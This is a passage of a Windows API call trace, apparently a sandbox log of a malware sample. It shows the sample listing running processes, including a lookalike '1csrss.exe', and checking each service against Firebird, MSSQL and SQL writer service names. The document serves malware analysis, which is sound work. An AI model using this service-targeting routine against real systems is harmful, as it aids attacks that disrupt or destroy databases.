1 [0302.828] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0302.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0302.828] lstrlenW (lpString="ProfSvc") returned 7 [0302.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0302.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0302.828] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0302.828] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0302.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0302.828] lstrlenW (lpString="RpcEptMapper") returned 12 [0302.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0302.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0302.828] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0302.828] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0302.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0302.828] lstrlenW (lpString="RpcSs") returned 5 [0302.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0302.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0302.828] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0302.828] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0302.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0302.829] lstrlenW (lpString="SamSs") returned 5 [0302.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0302.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0302.829] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0302.829] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0302.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0302.829] lstrlenW (lpString="Schedule") returned 8 [0302.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0302.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0302.829] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0302.829] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0302.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0302.829] lstrlenW (lpString="SecurityHealthService") returned 21 [0302.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0302.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0302.829] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0302.829] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0302.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0302.829] lstrlenW (lpString="SENS") returned 4 [0302.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0302.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0302.829] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0302.829] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0302.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0302.829] lstrlenW (lpString="ShellHWDetection") returned 16 [0302.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0302.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0302.829] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0302.829] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0302.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0302.829] lstrlenW (lpString="Spooler") returned 7 [0302.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0302.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0302.830] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0302.830] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0302.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0302.830] lstrlenW (lpString="SSDPSRV") returned 7 [0302.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0302.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0302.830] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0302.830] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0302.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0302.830] lstrlenW (lpString="StateRepository") returned 15 [0302.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0302.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0302.830] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0302.830] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0302.830] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0302.830] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x414 [0302.833] Process32FirstW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0302.833] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x96, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0302.834] lstrlenW (lpString="System") returned 6 [0302.834] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0302.835] lstrlenW (lpString="smss.exe") returned 8 [0302.835] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0302.836] lstrlenW (lpString="csrss.exe") returned 9 [0302.836] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0302.836] lstrlenW (lpString="wininit.exe") returned 11 [0302.836] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0302.837] lstrlenW (lpString="csrss.exe") returned 9 [0302.837] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0302.838] lstrlenW (lpString="winlogon.exe") returned 12 [0302.838] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0302.838] lstrlenW (lpString="services.exe") returned 12 [0302.839] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0302.839] lstrlenW (lpString="lsass.exe") returned 9 [0302.839] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0302.840] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0302.840] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0302.841] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0302.841] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.841] lstrlenW (lpString="svchost.exe") returned 11 [0302.841] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.842] lstrlenW (lpString="svchost.exe") returned 11 [0302.842] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0302.843] lstrlenW (lpString="dwm.exe") returned 7 [0302.843] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.843] lstrlenW (lpString="svchost.exe") returned 11 [0302.844] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.844] lstrlenW (lpString="svchost.exe") returned 11 [0302.844] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.845] lstrlenW (lpString="svchost.exe") returned 11 [0302.845] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.846] lstrlenW (lpString="svchost.exe") returned 11 [0302.846] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.846] lstrlenW (lpString="svchost.exe") returned 11 [0302.846] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.847] lstrlenW (lpString="svchost.exe") returned 11 [0302.847] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.848] lstrlenW (lpString="svchost.exe") returned 11 [0302.848] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.848] lstrlenW (lpString="svchost.exe") returned 11 [0302.848] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.849] lstrlenW (lpString="svchost.exe") returned 11 [0302.849] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.850] lstrlenW (lpString="svchost.exe") returned 11 [0302.850] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0302.850] lstrlenW (lpString="spoolsv.exe") returned 11 [0302.850] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0302.851] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0302.851] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0302.852] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0302.852] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0302.852] lstrlenW (lpString="Memory Compression") returned 18 [0302.852] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.853] lstrlenW (lpString="svchost.exe") returned 11 [0302.853] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0302.854] lstrlenW (lpString="audiodg.exe") returned 11 [0302.854] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0302.854] lstrlenW (lpString="sihost.exe") returned 10 [0302.855] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.855] lstrlenW (lpString="svchost.exe") returned 11 [0302.855] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0302.856] lstrlenW (lpString="taskhostw.exe") returned 13 [0302.856] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0302.857] lstrlenW (lpString="explorer.exe") returned 12 [0302.857] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0302.857] lstrlenW (lpString="SearchUI.exe") returned 12 [0302.858] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0302.858] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0302.858] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0302.859] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0302.859] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0302.860] lstrlenW (lpString="1csrss.exe") returned 10 [0302.860] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.860] lstrlenW (lpString="svchost.exe") returned 11 [0302.860] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0302.861] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0302.861] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.862] lstrlenW (lpString="svchost.exe") returned 11 [0302.862] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0302.862] lstrlenW (lpString="consent.exe") returned 11 [0302.862] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0302.863] CloseHandle (hObject=0x414) returned 1 [0302.863] Sleep (dwMilliseconds=0x1f4) [0303.378] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddb88 [0303.378] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0303.379] GetLastError () returned 0xea [0303.379] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45eee80 [0303.379] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eee80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eee80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0303.380] CloseServiceHandle (hSCObject=0x7ddb88) returned 1 [0303.380] lstrlenW (lpString="Appinfo") returned 7 [0303.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0303.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0303.380] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0303.380] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0303.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0303.380] lstrlenW (lpString="AppXSvc") returned 7 [0303.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0303.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0303.380] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0303.380] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0303.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0303.380] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0303.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0303.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0303.380] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0303.380] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0303.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0303.380] lstrlenW (lpString="Audiosrv") returned 8 [0303.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0303.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0303.380] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0303.380] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0303.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0303.381] lstrlenW (lpString="BFE") returned 3 [0303.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0303.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0303.381] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0303.381] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0303.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0303.381] lstrlenW (lpString="BITS") returned 4 [0303.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0303.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0303.381] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0303.381] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0303.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0303.381] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0303.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0303.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0303.381] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0303.381] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0303.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0303.381] lstrlenW (lpString="CDPSvc") returned 6 [0303.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0303.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0303.381] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0303.381] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0303.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0303.381] lstrlenW (lpString="ClickToRunSvc") returned 13 [0303.381] lstrcmpiW 